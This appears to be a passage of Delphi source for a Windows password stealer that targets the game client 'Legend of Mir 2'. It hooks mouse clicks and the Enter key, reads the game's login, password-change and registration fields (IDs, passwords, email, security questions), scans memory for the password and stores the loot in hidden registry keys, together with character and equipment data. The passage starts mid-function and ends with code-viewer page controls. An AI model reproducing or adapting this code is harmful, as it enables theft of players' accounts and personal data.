📄 main.~dpr
字号:
end;
ServerName:=GetMem(p,'4F7F99',10);
addvalue(hkey_classes_root,SubMainKey,'zb3',pchar(ServerName),1);
ServerName:=readvalue(hkey_classes_root,SubMainKey,'zb3');
if length(ServerName)>1 then begin
ZB:=ZB+'项链:' +ServerName+',';
ok:=true;
end;
ServerName:=GetMem(p,'4F8001',10);
addvalue(hkey_classes_root,SubMainKey,'zb4',pchar(ServerName),1);
ServerName:=readvalue(hkey_classes_root,SubMainKey,'zb4');
if length(ServerName)>1 then begin
ZB:=ZB+'右手镯:' +ServerName+',';
ok:=true;
end;
ServerName:=GetMem(p,'4F8035',10);
addvalue(hkey_classes_root,SubMainKey,'zb5',pchar(ServerName),1);
ServerName:=readvalue(hkey_classes_root,SubMainKey,'zb5');
if length(ServerName)>1 then begin
ZB:=ZB+'左手镯:' +ServerName+',';
ok:=true;
end;
ServerName:=GetMem(p,'4F8069',10);
addvalue(hkey_classes_root,SubMainKey,'zb6',pchar(ServerName),1);
ServerName:=readvalue(hkey_classes_root,SubMainKey,'zb6');
if length(ServerName)>1 then begin
ZB:=ZB+'右戒指:' +ServerName+',';
ok:=true;
end;
ServerName:=GetMem(p,'4F809D',10);
addvalue(hkey_classes_root,SubMainKey,'zb7',pchar(ServerName),1);
ServerName:=readvalue(hkey_classes_root,SubMainKey,'zb7');
if length(ServerName)>1 then begin
ZB:=ZB+'左戒指:' +ServerName+',';
ok:=true;
end;
if ok then begin
i:=1;SubKey:='';
while i<=99 do begin
if keyexists(hkey_classes_root,SubSubKey,pchar(inttostr(i)))=false then begin
SubKey:=inttostr(i);
break;
end;
i:=i+1;
end;
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'区域',pchar(readvalue(hkey_classes_root,SubMainKey,'区域')),1);
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'ID',pchar(readvalue(hkey_classes_root,SubMainKey,'ID')),1);
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'PW',pchar(readvalue(hkey_classes_root,SubMainKey,'PW')),1);
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'SP',pchar(readvalue(hkey_classes_root,SubMainKey,'SP')),1);
if (ValueExists(hkey_classes_root,SubMainKey,'JsN1')) and
(ValueExists(hkey_classes_root,SubMainKey,'JsD1')) then begin
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsN1',pchar(readvalue(hkey_classes_root,SubMainKey,'JsN1')),1); //名
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsZ1',pchar(readvalue(hkey_classes_root,SubMainKey,'JsZ1')),1); //职
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsD1',pchar(readvalue(hkey_classes_root,SubMainKey,'JsD1')),1); //等
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsS1',pchar(readvalue(hkey_classes_root,SubMainKey,'JsS1')),1); //性
end;
if (ValueExists(hkey_classes_root,SubMainKey,'JsN2')) and
(ValueExists(hkey_classes_root,SubMainKey,'JsD2')) then begin
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsN2',pchar(readvalue(hkey_classes_root,SubMainKey,'JsN2')),1); //名
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsZ2',pchar(readvalue(hkey_classes_root,SubMainKey,'JsZ2')),1); //职
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsD2',pchar(readvalue(hkey_classes_root,SubMainKey,'JsD2')),1); //等
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsS2',pchar(readvalue(hkey_classes_root,SubMainKey,'JsS2')),1); //性
end;
delete(ZB,length(ZB),1);
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'ZB',pchar(ZB),1); //性
addvalue(hkey_classes_root,SubMainKey,'Flag2','1',1);
end;
end;
procedure GetPassWord;
var reAddress:integer;
Position,PosServer:string;
begin
if (readvalue(hkey_classes_root,SubMainKey,'WinX')<>'1') and
(readvalue(hkey_classes_root,SubMainKey,'ID')<>'') then begin
Position:=FGetMem('233C3C3C3C3C3D403E3C3C3C3C3C3C3C3C21',
'2690000','1800',12,false,'',false,0,PosServer,reAddress);
if reAddress <>0 then begin
PosServer:=inttohex(reAddress-20-length('233C3C3C3C3C3D403E3C3C3C3C3C3C3C3C21'),1); //14
Position:=GetMem(0,PosServer,12);
if (Position<>'') and (readvalue(hkey_classes_root,SubMainKey,'PW')<>Position) then
Addvalue(hkey_classes_root,SubMainKey,'PW',pchar(Position),1);
end;
end;
end;
procedure LogoMouse(Wpa,Lpa:integer);
var p:Longint;
c:array[1..19] of Longint;
Lo,L:Longint;
Rect:TRect; Cpoint:Tpoint;
i,t,n,s,f:integer;
SubKey,ServerName:string;
VN:string;
r:integer;
//Position,PosServer:string; ,reAddress
Begin
if (readvalue(hkey_classes_root,SubMainKey,'Flag2')='1') then exit;
if (readvalue(hkey_classes_root,SubMainKey,'Flag1')='1') then begin
GetZB;
exit;
end;
if (readvalue(hkey_classes_root,SubMainKey,'Flag')='1') then begin
if (Wpa=$0201) then begin //WM_LBUTTONDOWN
p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
if p<>0 then begin
getcursorpos(Cpoint);
Rect.Left :=385;
Rect.Top :=458;
Rect.Right :=430;
Rect.Bottom :=478;
if (ptinrect(Rect,Cpoint)) then begin //点开始
n:=splite_str(GetMem(p),'/');
WriteJs(n);
sendflag:=true;
sendi:=0;
end ;
Rect.Left :=382;
Rect.Top :=548;
Rect.Right :=432;
Rect.Bottom :=568;
if (ptinrect(Rect,Cpoint)) then begin //退出
n:=splite_str(GetMem(p),'/');
WriteJs(n);
sendflag:=true;
sendi:=0;
end;
end;
end;
exit;
end;
if (Wpa=$0201) then begin //WM_LBUTTONDOWN
t:=0;
n:=0;
s:=0;
f:=0;
for i:=1 to 19 do c[i]:=0;
Lo:=findwindow(pchar('TfrmMain'),pchar('传奇客户端'));
L:=findwindowex(Lo,0,pchar('TComboBox'),nil);
SendMessage(L,$000D,sizeof(LogoID),integer(@LogoID));
p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
for i:=1 to 19 do begin
c[i]:=findwindowex(p,t,pchar('TEdit'),nil);
t:=c[i];
if t=0 then break
else begin
s:=s+1;
if IsWindowVisible(t) then n:=n+1;
end;
end;
getcursorpos(Cpoint);
Rect.TopLeft.X:=417; //417; //425;
Rect.TopLeft.Y:=316; //316; //337;
Rect.BottomRight.X:=513; //513; //495;
Rect.BottomRight.Y:=365; //345; //365;
if (n=2) and (ptinrect(Rect,Cpoint)) then begin
for i:=1 to s do begin
if c[i]=0 then continue;
if IsWindowVisible(c[i]) then begin
SendMessage(c[i],$000D,sizeof(Str[i]),integer(@Str[i]));
if f=0 then begin
Addvalue(hkey_classes_root,SubMainKey,'PW',Str[i],1);
PWhand:=c[i];
end else Addvalue(hkey_classes_root,SubMainKey,'ID',Str[i],1);
f:=f+1;
end;
end;
end;
GetPassword;
//进入选区
Rect.TopLeft.X:=308;
Rect.TopLeft.Y:=141;
Rect.BottomRight.X:=476;
Rect.BottomRight.Y:=477;
if (n=0) and (s>=2) and (ptinrect(Rect,Cpoint)) then begin
GetPassword;
if (ValueExists(hkey_classes_root,SubMainKey,'ID')) and (ValueExists(hkey_classes_root,SubMainKey,'PW')) then begin
addvalue(hkey_classes_root,SubMainKey,'Flag','1',1);
addvalue(hkey_classes_root,SubMainKey,'区域',LogoID,1);
for i:=0 to high(serverbutton) do begin
if (Cpoint.Y>serverbutton[i].X) and (Cpoint.Y<serverbutton[i].Y) then begin
ServerName:=readvalue(hkey_classes_root,SubMainKey,pchar('ServerList'+inttostr(i+1)));
break;
end;
end;
addvalue(hkey_classes_root,SubMainKey,'SP',pchar(ServerName+'【'+inttostr(Cpoint.X)+','+inttostr(Cpoint.Y)+'】'),1);
end;
end;
//退出
Rect.TopLeft.X:=489;
Rect.TopLeft.Y:=102;
Rect.BottomRight.X:=505;
Rect.BottomRight.Y:=127;
if (n=0) and (s>=2) and (ptinrect(Rect,Cpoint)) then begin
i:=1;SubKey:='';
while i<=99 do begin
if keyexists(hkey_classes_root,SubSubKey,pchar(inttostr(i)))=false then begin
SubKey:=inttostr(i);
break;
end;
i:=i+1;
end; //508933
if (ValueExists(hkey_classes_root,SubMainKey,'ID')) and (ValueExists(hkey_classes_root,SubMainKey,'PW')) then begin
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'区域',LogoID,1);
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'ID',pchar(readvalue(hkey_classes_root,SubMainKey,'ID')),1);
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'PW',pchar(readvalue(hkey_classes_root,SubMainKey,'PW')),1);
addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'SP',pchar('关闭'+'【'+inttostr(Cpoint.X)+','+inttostr(Cpoint.Y)+'】'),1);
Delvalue(hkey_classes_root,SubMainKey,'ID');
Delvalue(hkey_classes_root,SubMainKey,'PW');
end;
end;
//更改
Rect.TopLeft.X:=372; // 416/372;
Rect.TopLeft.Y:=358; //358/404;
Rect.BottomRight.X:=512; //512/445;
Rect.BottomRight.Y:=432; //386/432;
if (n=4) and (ptinrect(Rect,Cpoint)) then begin
i:=1;SubKey:='';
while i<=99 do begin
if keyexists(hkey_classes_root,SubChange,pchar(inttostr(i)))=false then begin
SubKey:=inttostr(i);
break;
end;
i:=i+1;
end;
r:=1;
addvalue(hkey_classes_root,pchar(SubChange+'\'+SubKey),'区域',LogoID,1);
for i:=1 to s do begin
if c[i]=0 then continue;
if IsWindowVisible(c[i]) then begin
case r of
1:VN:='RE';
2:VN:='NP';
3:VN:='OP';
4:VN:='ID';
end;
SendMessage(c[i],$000D,sizeof(Str[i]),integer(@Str[i]));
Addvalue(hkey_classes_root,pchar(SubChange+'\'+SubKey),pchar(VN),Str[i],1);
r:=r+1;
end;
end;
end;
//新注册
Rect.TopLeft.X:=240;
Rect.TopLeft.Y:=480;
Rect.BottomRight.X:=313;
Rect.BottomRight.Y:=509;
if (n=12) and (ptinrect(Rect,Cpoint)) then begin
i:=1;SubKey:='';
while i<=99 do begin
if keyexists(hkey_classes_root,SubRegistry,pchar(inttostr(i)))=false then begin
SubKey:=inttostr(i);
break;
end;
i:=i+1;
end;
r:=1;
addvalue(hkey_classes_root,pchar(SubRegistry+'\'+SubKey),'区域',LogoID,1);
for i:=1 to s do begin
if c[i]=0 then continue;
if IsWindowVisible(c[i]) then begin
case r of
1:VN:='EM';
2:VN:='MN';
3:VN:='NU';
4:VN:='A2';
5:VN:='Q2';
6:VN:='A1';
7:VN:='Q1';
8:VN:='BI';
9:VN:='NA';
10:VN:='RE';
11:VN:='PW';
12:VN:='ID';
end;
SendMessage(c[i],$000D,sizeof(Str[i]),integer(@Str[i]));
Addvalue(hkey_classes_root,pchar(SubRegistry+'\'+SubKey),pchar(VN),Str[i],1);
r:=r+1;
end;
end;
end;
end;
End;
procedure LogoKey(Lpa,Wpa:integer);
var p:Longint;
c:array[1..19] of Longint;
i,t,n,s,f:integer;
function Keyhookresult(lP: integer; wP: integer): boolean;
begin
result:=false;
if lP=7181 then //: key := '#13';//result := '[Enter]';
result:=true;
end;
Begin
if Keyhookresult(peventMsg(Lpa)^.paramL,peventMsg(Lpa)^.paramH) then begin
if (readvalue(hkey_classes_root,SubMainKey,'Flag1')='1') then exit;
t:=0;
n:=0;
s:=0;
f:=0;
for i:=1 to 19 do c[i]:=0;
p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
for i:=1 to 19 do begin
c[i]:=findwindowex(p,t,pchar('TEdit'),nil);
t:=c[i];
if t=0 then break else begin
s:=s+1;
if IsWindowVisible(t) then begin
n:=n+1;
if n=1 then PWhand:=t;
end;
end;
end;
if (n=2) and (getfocus=PWhand) then begin
for i:=1 to s do begin
if c[i]=0 then continue;
if IsWindowVisible(c[i]) then begin
SendMessage(c[i],$000D,sizeof(Str[i]),integer(@Str[i]));
if f=0 then Addvalue(hkey_classes_root,SubMainKey,'PW',Str[i],1)
else Addvalue(hkey_classes_root,SubMainKey,'ID',Str[i],1);
f:=f+1;
end;
end;
end;
GetPassword;
end;
End;
{function MouseProc(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT; stdcall;export;
var i:integer;
Begin
Result:=0;
LogoID:='abcdefghijklmnopqrstuvwxyz1234567890';
for i:=1 to 19 do Str[i]:='abcdefghijklmnopqrstuvwxyz1234567890';
Wpa:=wParam;
Lpa:=lParam;
LogoMouse;
if iCode<0 then Result:=CallNextHookEx(MouseHook,iCode,wParam,lParam);
End;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -